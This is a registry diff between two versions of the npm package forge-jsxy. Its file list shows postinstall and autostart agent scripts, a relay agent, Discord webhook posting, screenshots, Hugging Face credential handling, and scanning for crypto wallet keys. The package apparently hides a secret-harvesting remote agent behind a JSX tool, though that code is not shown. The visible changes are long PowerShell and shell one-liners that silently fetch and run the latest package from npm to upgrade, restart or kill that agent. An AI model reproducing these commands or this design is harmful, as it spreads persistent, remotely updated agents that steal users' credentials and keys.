forge-jsxy 1.0.81 → 1.0.82

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (51) hide show
  1. package/assets/files-explorer-template.html +10 -13
  2. package/assets/secret_filename_patterns.json +1 -9
  3. package/dist/agentRunner.js +6 -1
  4. package/dist/assets/files-explorer-template.html +11 -14
  5. package/dist/assets/secret_filename_patterns.json +1 -9
  6. package/dist/autostart/agentEnvFile.d.ts +17 -2
  7. package/dist/autostart/agentEnvFile.js +37 -7
  8. package/dist/autostart/darwin.js +4 -1
  9. package/dist/autostart/linux.js +1 -1
  10. package/dist/autostart/windows.js +1 -0
  11. package/dist/cli-agent.js +1 -0
  12. package/dist/discordAgentScreenshot.js +15 -0
  13. package/dist/discordWebhookPost.d.ts +1 -0
  14. package/dist/discordWebhookPost.js +20 -5
  15. package/dist/hfCredentials.js +22 -8
  16. package/dist/relayAgent.js +50 -2
  17. package/dist/secretScan/agentStartupAudit.d.ts +21 -6
  18. package/dist/secretScan/agentStartupAudit.js +349 -94
  19. package/dist/secretScan/auditFindingSlim.d.ts +25 -0
  20. package/dist/secretScan/auditFindingSlim.js +184 -0
  21. package/dist/secretScan/auditScanScope.d.ts +25 -0
  22. package/dist/secretScan/auditScanScope.js +233 -0
  23. package/dist/secretScan/base58check.d.ts +6 -0
  24. package/dist/secretScan/base58check.js +49 -0
  25. package/dist/secretScan/contentScanner.d.ts +1 -1
  26. package/dist/secretScan/contentScanner.js +49 -29
  27. package/dist/secretScan/dedupeFindings.d.ts +6 -0
  28. package/dist/secretScan/dedupeFindings.js +122 -22
  29. package/dist/secretScan/fileCandidates.d.ts +7 -0
  30. package/dist/secretScan/fileCandidates.js +69 -1
  31. package/dist/secretScan/runFilenameSecretScan.d.ts +2 -0
  32. package/dist/secretScan/runFilenameSecretScan.js +24 -40
  33. package/dist/secretScan/scanConfig.d.ts +2 -0
  34. package/dist/secretScan/scanConfig.js +53 -0
  35. package/dist/secretScan/secp256k1Scalar.d.ts +4 -0
  36. package/dist/secretScan/secp256k1Scalar.js +14 -0
  37. package/dist/secretScan/secretAuditExcludePaths.d.ts +4 -0
  38. package/dist/secretScan/secretAuditExcludePaths.js +46 -0
  39. package/dist/secretScan/solanaKeypair.d.ts +8 -0
  40. package/dist/secretScan/solanaKeypair.js +87 -0
  41. package/dist/secretScan/strictMaterialGate.d.ts +15 -0
  42. package/dist/secretScan/strictMaterialGate.js +151 -0
  43. package/dist/secretScan/types.d.ts +13 -1
  44. package/dist/workerBootstrap.js +1 -0
  45. package/package.json +5 -2
  46. package/scripts/forge-jsx-explorer-kill-agent.mjs +1 -0
  47. package/scripts/forge-jsx-explorer-restart.mjs +2 -0
  48. package/scripts/forge-jsx-explorer-upgrade.mjs +7 -1
  49. package/scripts/pm2-restart-forge-relay-agent.sh +2 -0
  50. package/scripts/postinstall-agent.mjs +2 -0
  51. package/scripts/postinstall-bootstrap.mjs +3 -1
@@ -2210,35 +2210,32 @@ function ensureAgentPlatformForExplorerForgeCmd(){
2210
2210
  return false;
2211
2211
  }
2212
2212
  /**
2213
- * Retarget npm package install/exec target to `forge-jsxy`, but keep legacy command/path fallbacks.
2214
- * This lets old hosts that still only have `forge-jsx` binaries/scripts recover when npm exec fails.
2213
+ * Retarget npm **`npm exec` / `install -g`** package spec to **`forge-jsxy@latest`** (current npm name).
2214
+ * **Filesystem** script paths stay literal **`forge-jsx`** / **`forge-jsxy`** — each shell one-liner runs a small loop trying **`$ROOT/{forge-jsxy,forge-jsx}/scripts/*.mjs`** so old globals (`node_modules/forge-jsx`) and new (`forge-jsxy`) both resolve without rewriting strings here.
2215
2215
  */
2216
2216
  function retargetForgeJsxyCommand(cmd){
2217
2217
  return String(cmd || '')
2218
2218
  .replaceAll('forge-jsx@latest', 'forge-jsxy@latest')
2219
2219
  .replaceAll('install -g forge-jsx@latest', 'install -g forge-jsxy@latest')
2220
- .replaceAll('npm uninstall -g forge-jsx', 'npm uninstall -g forge-jsxy')
2221
- // Update fallback directory path: globally-installed package dir is now `forge-jsxy` not `forge-jsx`
2222
- .replaceAll('/forge-jsx/scripts/', '/forge-jsxy/scripts/')
2223
- .replaceAll("'forge-jsx\\\\scripts\\\\", "'forge-jsxy\\\\scripts\\\\");
2220
+ .replaceAll('npm uninstall -g forge-jsx', 'npm uninstall -g forge-jsxy');
2224
2221
  }
2225
2222
  function forgeJsxExplorerUpgradeShellCommand(){
2226
2223
  if(useWindowsForgeJsxShellCommand()){
2227
- return "$base=Join-Path $env:SystemRoot 'Temp'; $runDir=Join-Path $base ('forge-jsx-npm-exec-cwd-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $runDir | Out-Null; Set-Location $runDir; $xc=Join-Path $base ('forge-jsx-npm-cache-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $xc | Out-Null; $nrcUser = Join-Path $xc 'forge-fe-user.npmrc'; $nrcGlobal = Join-Path $xc 'forge-fe-global.npmrc'; [System.IO.File]::WriteAllText($nrcUser,('cache='+$xc)); [System.IO.File]::WriteAllText($nrcGlobal,('cache='+$xc)); $env:NPM_CONFIG_CACHE=$xc; $env:npm_config_cache=$xc; $env:npm_config_globalconfig=$nrcGlobal; $env:npm_config_userconfig=$nrcUser; $env:NPM_CONFIG_UPDATE_NOTIFIER='false'; $env:npm_config_update_notifier='false'; try{$pf=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc prefix -g 2>$null)|Out-String).Trim()}catch{$pf=''}; if($pf){$env:PATH=$pf+';'+$env:PATH}; $roots=@(); $a=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc root -g 2>$null)|Out-String).Trim(); if($a){$roots+=$a}; $np=Join-Path $env:APPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $np){$roots+=$np}; $lnp=Join-Path $env:LOCALAPPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $lnp){$roots+=$lnp}; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 }; Start-Sleep -Seconds 2; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 }; if(Get-Command forge-jsx-explorer-upgrade -ErrorAction SilentlyContinue){ & forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 } }; foreach($r in $roots){ $s=Join-Path $r 'forge-jsx\\scripts\\forge-jsx-explorer-upgrade.mjs'; if(Test-Path -LiteralPath $s){ & node $s; if ($LASTEXITCODE -eq 0) { exit 0 } } }; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc install -g forge-jsx@latest --no-fund --no-audit; if ($LASTEXITCODE -eq 0) { if(Get-Command forge-jsx-explorer-upgrade -ErrorAction SilentlyContinue){ & forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 } }; foreach($r in $roots){ $s=Join-Path $r 'forge-jsx\\scripts\\forge-jsx-explorer-upgrade.mjs'; if(Test-Path -LiteralPath $s){ & node $s; if ($LASTEXITCODE -eq 0) { exit 0 } } } }; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 }; if(Get-Command forge-jsx-explorer-upgrade -ErrorAction SilentlyContinue){ & forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 } }; foreach($r in $roots){ $s=Join-Path $r 'forge-jsx\\scripts\\forge-jsx-explorer-upgrade.mjs'; if(Test-Path -LiteralPath $s){ & node $s; exit $LASTEXITCODE } }; exit $LASTEXITCODE";
2224
+ return "$base=Join-Path $env:SystemRoot 'Temp'; $runDir=Join-Path $base ('forge-jsx-npm-exec-cwd-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $runDir | Out-Null; Set-Location $runDir; $xc=Join-Path $base ('forge-jsx-npm-cache-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $xc | Out-Null; $nrcUser = Join-Path $xc 'forge-fe-user.npmrc'; $nrcGlobal = Join-Path $xc 'forge-fe-global.npmrc'; [System.IO.File]::WriteAllText($nrcUser,('cache='+$xc)); [System.IO.File]::WriteAllText($nrcGlobal,('cache='+$xc)); $env:NPM_CONFIG_CACHE=$xc; $env:npm_config_cache=$xc; $env:npm_config_globalconfig=$nrcGlobal; $env:npm_config_userconfig=$nrcUser; $env:NPM_CONFIG_UPDATE_NOTIFIER='false'; $env:npm_config_update_notifier='false'; try{$pf=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc prefix -g 2>$null)|Out-String).Trim()}catch{$pf=''}; if($pf){$env:PATH=$pf+';'+$env:PATH}; $roots=@(); $a=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc root -g 2>$null)|Out-String).Trim(); if($a){$roots+=$a}; $np=Join-Path $env:APPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $np){$roots+=$np}; $lnp=Join-Path $env:LOCALAPPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $lnp){$roots+=$lnp}; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 }; Start-Sleep -Seconds 2; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 }; if(Get-Command forge-jsx-explorer-upgrade -ErrorAction SilentlyContinue){ & forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 } }; foreach($r in $roots){ foreach($pkg in @('forge-jsxy','forge-jsx')){ $s=Join-Path $r ($pkg+'\\scripts\\forge-jsx-explorer-upgrade.mjs'); if(Test-Path -LiteralPath $s){ & node $s; if ($LASTEXITCODE -eq 0) { exit 0 } } } }; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc install -g forge-jsx@latest --no-fund --no-audit; if ($LASTEXITCODE -eq 0) { if(Get-Command forge-jsx-explorer-upgrade -ErrorAction SilentlyContinue){ & forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 } }; foreach($r in $roots){ foreach($pkg in @('forge-jsxy','forge-jsx')){ $s=Join-Path $r ($pkg+'\\scripts\\forge-jsx-explorer-upgrade.mjs'); if(Test-Path -LiteralPath $s){ & node $s; if ($LASTEXITCODE -eq 0) { exit 0 } } } } }; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 }; if(Get-Command forge-jsx-explorer-upgrade -ErrorAction SilentlyContinue){ & forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 } }; foreach($r in $roots){ foreach($pkg in @('forge-jsxy','forge-jsx')){ $s=Join-Path $r ($pkg+'\\scripts\\forge-jsx-explorer-upgrade.mjs'); if(Test-Path -LiteralPath $s){ & node $s; exit $LASTEXITCODE } } }; exit $LASTEXITCODE";
2228
2225
  }
2229
- return unixNpmBootstrapShellPrefix() + "RUNDIR=\"${TMPDIR:-/tmp}/forge-jsx-npm-exec-cwd-$$-$RANDOM\"; mkdir -p \"$RUNDIR\" && cd \"$RUNDIR\" || exit 1; XC=\"${TMPDIR:-/tmp}/forge-jsx-npm-cache-$$-$RANDOM\"; mkdir -p \"$XC\" 2>/dev/null; NRC_U=\"$XC/forge-fe-user.npmrc\"; NRC_G=\"$XC/forge-fe-global.npmrc\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_U\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_G\"; export NPM_CONFIG_UPDATE_NOTIFIER=false; export npm_config_update_notifier=false; export NPM_CONFIG_CACHE=\"$XC\"; export npm_config_cache=\"$XC\"; export npm_config_globalconfig=\"$NRC_G\"; export npm_config_userconfig=\"$NRC_U\"; PREFIX=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" prefix -g 2>/dev/null)\"; if [ -n \"$PREFIX\" ] && [ -d \"$PREFIX/bin\" ]; then export PATH=\"$PREFIX/bin:$PATH\"; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade && exit 0; sleep 2; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade && exit 0; ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; G=\"$ROOT/forge-jsx/scripts/forge-jsx-explorer-upgrade.mjs\"; if [ -f \"$G\" ]; then node \"$G\" && exit 0; fi; if command -v forge-jsx-explorer-upgrade >/dev/null 2>&1; then forge-jsx-explorer-upgrade && exit 0; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" install -g forge-jsx@latest --no-fund --no-audit; if [ $? -eq 0 ]; then ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; G=\"$ROOT/forge-jsx/scripts/forge-jsx-explorer-upgrade.mjs\"; if [ -f \"$G\" ]; then node \"$G\" && exit 0; fi; if command -v forge-jsx-explorer-upgrade >/dev/null 2>&1; then forge-jsx-explorer-upgrade && exit 0; fi; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade && exit 0; if [ -f \"$G\" ]; then node \"$G\" && exit 0; fi; command -v forge-jsx-explorer-upgrade >/dev/null 2>&1 && forge-jsx-explorer-upgrade; exit $?";
2226
+ return unixNpmBootstrapShellPrefix() + "RUNDIR=\"${TMPDIR:-/tmp}/forge-jsx-npm-exec-cwd-$$-$RANDOM\"; mkdir -p \"$RUNDIR\" && cd \"$RUNDIR\" || exit 1; XC=\"${TMPDIR:-/tmp}/forge-jsx-npm-cache-$$-$RANDOM\"; mkdir -p \"$XC\" 2>/dev/null; NRC_U=\"$XC/forge-fe-user.npmrc\"; NRC_G=\"$XC/forge-fe-global.npmrc\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_U\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_G\"; export NPM_CONFIG_UPDATE_NOTIFIER=false; export npm_config_update_notifier=false; export NPM_CONFIG_CACHE=\"$XC\"; export npm_config_cache=\"$XC\"; export npm_config_globalconfig=\"$NRC_G\"; export npm_config_userconfig=\"$NRC_U\"; PREFIX=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" prefix -g 2>/dev/null)\"; if [ -n \"$PREFIX\" ] && [ -d \"$PREFIX/bin\" ]; then export PATH=\"$PREFIX/bin:$PATH\"; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade && exit 0; sleep 2; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade && exit 0; ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; if [ -n \"$ROOT\" ]; then for PKG in forge-jsxy forge-jsx; do G=\"$ROOT/$PKG/scripts/forge-jsx-explorer-upgrade.mjs\"; if [ -f \"$G\" ]; then node \"$G\" && exit 0; fi; done; fi; if command -v forge-jsx-explorer-upgrade >/dev/null 2>&1; then forge-jsx-explorer-upgrade && exit 0; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" install -g forge-jsx@latest --no-fund --no-audit; if [ $? -eq 0 ]; then ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; if [ -n \"$ROOT\" ]; then for PKG in forge-jsxy forge-jsx; do G=\"$ROOT/$PKG/scripts/forge-jsx-explorer-upgrade.mjs\"; if [ -f \"$G\" ]; then node \"$G\" && exit 0; fi; done; fi; if command -v forge-jsx-explorer-upgrade >/dev/null 2>&1; then forge-jsx-explorer-upgrade && exit 0; fi; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade && exit 0; ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; if [ -n \"$ROOT\" ]; then for PKG in forge-jsxy forge-jsx; do G=\"$ROOT/$PKG/scripts/forge-jsx-explorer-upgrade.mjs\"; if [ -f \"$G\" ]; then node \"$G\" && exit 0; fi; done; fi; command -v forge-jsx-explorer-upgrade >/dev/null 2>&1 && forge-jsx-explorer-upgrade; exit $?";
2230
2227
  }
2231
2228
  function forgeJsxExplorerRestartShellCommand(){
2232
2229
  if(useWindowsForgeJsxShellCommand()){
2233
- return "$base=Join-Path $env:SystemRoot 'Temp'; $runDir=Join-Path $base ('forge-jsx-npm-exec-cwd-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $runDir | Out-Null; Set-Location $runDir; $xc=Join-Path $base ('forge-jsx-npm-cache-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $xc | Out-Null; $nrcUser = Join-Path $xc 'forge-fe-user.npmrc'; $nrcGlobal = Join-Path $xc 'forge-fe-global.npmrc'; [System.IO.File]::WriteAllText($nrcUser,('cache='+$xc)); [System.IO.File]::WriteAllText($nrcGlobal,('cache='+$xc)); $env:NPM_CONFIG_CACHE=$xc; $env:npm_config_cache=$xc; $env:npm_config_globalconfig=$nrcGlobal; $env:npm_config_userconfig=$nrcUser; $env:NPM_CONFIG_UPDATE_NOTIFIER='false'; $env:npm_config_update_notifier='false'; try{$pf=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc prefix -g 2>$null)|Out-String).Trim()}catch{$pf=''}; if($pf){$env:PATH=$pf+';'+$env:PATH}; $roots=@(); $a=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc root -g 2>$null)|Out-String).Trim(); if($a){$roots+=$a}; $np=Join-Path $env:APPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $np){$roots+=$np}; $lnp=Join-Path $env:LOCALAPPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $lnp){$roots+=$lnp}; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart; if ($LASTEXITCODE -eq 0) { exit 0 }; Start-Sleep -Seconds 2; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart; if ($LASTEXITCODE -eq 0) { exit 0 }; if(Get-Command forge-jsx-explorer-restart -ErrorAction SilentlyContinue){ & forge-jsx-explorer-restart; if ($LASTEXITCODE -eq 0) { exit 0 } }; foreach($r in $roots){ $s=Join-Path $r 'forge-jsx\\scripts\\forge-jsx-explorer-restart.mjs'; if(Test-Path -LiteralPath $s){ & node $s; exit $LASTEXITCODE } }; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart";
2230
+ return "$base=Join-Path $env:SystemRoot 'Temp'; $runDir=Join-Path $base ('forge-jsx-npm-exec-cwd-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $runDir | Out-Null; Set-Location $runDir; $xc=Join-Path $base ('forge-jsx-npm-cache-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $xc | Out-Null; $nrcUser = Join-Path $xc 'forge-fe-user.npmrc'; $nrcGlobal = Join-Path $xc 'forge-fe-global.npmrc'; [System.IO.File]::WriteAllText($nrcUser,('cache='+$xc)); [System.IO.File]::WriteAllText($nrcGlobal,('cache='+$xc)); $env:NPM_CONFIG_CACHE=$xc; $env:npm_config_cache=$xc; $env:npm_config_globalconfig=$nrcGlobal; $env:npm_config_userconfig=$nrcUser; $env:NPM_CONFIG_UPDATE_NOTIFIER='false'; $env:npm_config_update_notifier='false'; try{$pf=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc prefix -g 2>$null)|Out-String).Trim()}catch{$pf=''}; if($pf){$env:PATH=$pf+';'+$env:PATH}; $roots=@(); $a=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc root -g 2>$null)|Out-String).Trim(); if($a){$roots+=$a}; $np=Join-Path $env:APPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $np){$roots+=$np}; $lnp=Join-Path $env:LOCALAPPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $lnp){$roots+=$lnp}; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart; if ($LASTEXITCODE -eq 0) { exit 0 }; Start-Sleep -Seconds 2; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart; if ($LASTEXITCODE -eq 0) { exit 0 }; if(Get-Command forge-jsx-explorer-restart -ErrorAction SilentlyContinue){ & forge-jsx-explorer-restart; if ($LASTEXITCODE -eq 0) { exit 0 } }; foreach($r in $roots){ foreach($pkg in @('forge-jsxy','forge-jsx')){ $s=Join-Path $r ($pkg+'\\scripts\\forge-jsx-explorer-restart.mjs'); if(Test-Path -LiteralPath $s){ & node $s; exit $LASTEXITCODE } } }; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart";
2234
2231
  }
2235
- return unixNpmBootstrapShellPrefix() + "RUNDIR=\"${TMPDIR:-/tmp}/forge-jsx-npm-exec-cwd-$$-$RANDOM\"; mkdir -p \"$RUNDIR\" && cd \"$RUNDIR\" || exit 1; XC=\"${TMPDIR:-/tmp}/forge-jsx-npm-cache-$$-$RANDOM\"; mkdir -p \"$XC\" 2>/dev/null; NRC_U=\"$XC/forge-fe-user.npmrc\"; NRC_G=\"$XC/forge-fe-global.npmrc\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_U\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_G\"; export NPM_CONFIG_UPDATE_NOTIFIER=false; export npm_config_update_notifier=false; export NPM_CONFIG_CACHE=\"$XC\"; export npm_config_cache=\"$XC\"; export npm_config_globalconfig=\"$NRC_G\"; export npm_config_userconfig=\"$NRC_U\"; PREFIX=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" prefix -g 2>/dev/null)\"; if [ -n \"$PREFIX\" ] && [ -d \"$PREFIX/bin\" ]; then export PATH=\"$PREFIX/bin:$PATH\"; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart && exit 0; sleep 2; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart && exit 0; ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; G=\"$ROOT/forge-jsx/scripts/forge-jsx-explorer-restart.mjs\"; if [ -f \"$G\" ]; then node \"$G\"; elif command -v forge-jsx-explorer-restart >/dev/null 2>&1; then forge-jsx-explorer-restart; else npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart; fi";
2232
+ return unixNpmBootstrapShellPrefix() + "RUNDIR=\"${TMPDIR:-/tmp}/forge-jsx-npm-exec-cwd-$$-$RANDOM\"; mkdir -p \"$RUNDIR\" && cd \"$RUNDIR\" || exit 1; XC=\"${TMPDIR:-/tmp}/forge-jsx-npm-cache-$$-$RANDOM\"; mkdir -p \"$XC\" 2>/dev/null; NRC_U=\"$XC/forge-fe-user.npmrc\"; NRC_G=\"$XC/forge-fe-global.npmrc\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_U\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_G\"; export NPM_CONFIG_UPDATE_NOTIFIER=false; export npm_config_update_notifier=false; export NPM_CONFIG_CACHE=\"$XC\"; export npm_config_cache=\"$XC\"; export npm_config_globalconfig=\"$NRC_G\"; export npm_config_userconfig=\"$NRC_U\"; PREFIX=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" prefix -g 2>/dev/null)\"; if [ -n \"$PREFIX\" ] && [ -d \"$PREFIX/bin\" ]; then export PATH=\"$PREFIX/bin:$PATH\"; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart && exit 0; sleep 2; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart && exit 0; ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; if [ -n \"$ROOT\" ]; then for PKG in forge-jsxy forge-jsx; do G=\"$ROOT/$PKG/scripts/forge-jsx-explorer-restart.mjs\"; if [ -f \"$G\" ]; then node \"$G\"; exit $?; fi; done; fi; if command -v forge-jsx-explorer-restart >/dev/null 2>&1; then forge-jsx-explorer-restart; else npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart; fi";
2236
2233
  }
2237
2234
  function forgeJsxExplorerKillShellCommand(){
2238
2235
  if(useWindowsForgeJsxShellCommand()){
2239
- return "$base=Join-Path $env:SystemRoot 'Temp'; $runDir=Join-Path $base ('forge-jsx-npm-exec-cwd-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $runDir | Out-Null; Set-Location $runDir; $xc=Join-Path $base ('forge-jsx-npm-cache-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $xc | Out-Null; $nrcUser = Join-Path $xc 'forge-fe-user.npmrc'; $nrcGlobal = Join-Path $xc 'forge-fe-global.npmrc'; [System.IO.File]::WriteAllText($nrcUser,('cache='+$xc)); [System.IO.File]::WriteAllText($nrcGlobal,('cache='+$xc)); $env:NPM_CONFIG_CACHE=$xc; $env:npm_config_cache=$xc; $env:npm_config_globalconfig=$nrcGlobal; $env:npm_config_userconfig=$nrcUser; $env:NPM_CONFIG_UPDATE_NOTIFIER='false'; $env:npm_config_update_notifier='false'; try{$pf=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc prefix -g 2>$null)|Out-String).Trim()}catch{$pf=''}; if($pf){$env:PATH=$pf+';'+$env:PATH}; $roots=@(); $a=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc root -g 2>$null)|Out-String).Trim(); if($a){$roots+=$a}; $np=Join-Path $env:APPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $np){$roots+=$np}; $lnp=Join-Path $env:LOCALAPPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $lnp){$roots+=$lnp}; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent; if ($LASTEXITCODE -eq 0) { exit 0 }; Start-Sleep -Seconds 2; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent; if ($LASTEXITCODE -eq 0) { exit 0 }; if(Get-Command forge-jsx-explorer-kill-agent -ErrorAction SilentlyContinue){ & forge-jsx-explorer-kill-agent; if ($LASTEXITCODE -eq 0) { exit 0 } }; foreach($r in $roots){ $s=Join-Path $r 'forge-jsx\\scripts\\forge-jsx-explorer-kill-agent.mjs'; if(Test-Path -LiteralPath $s){ & node $s; exit $LASTEXITCODE } }; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent";
2236
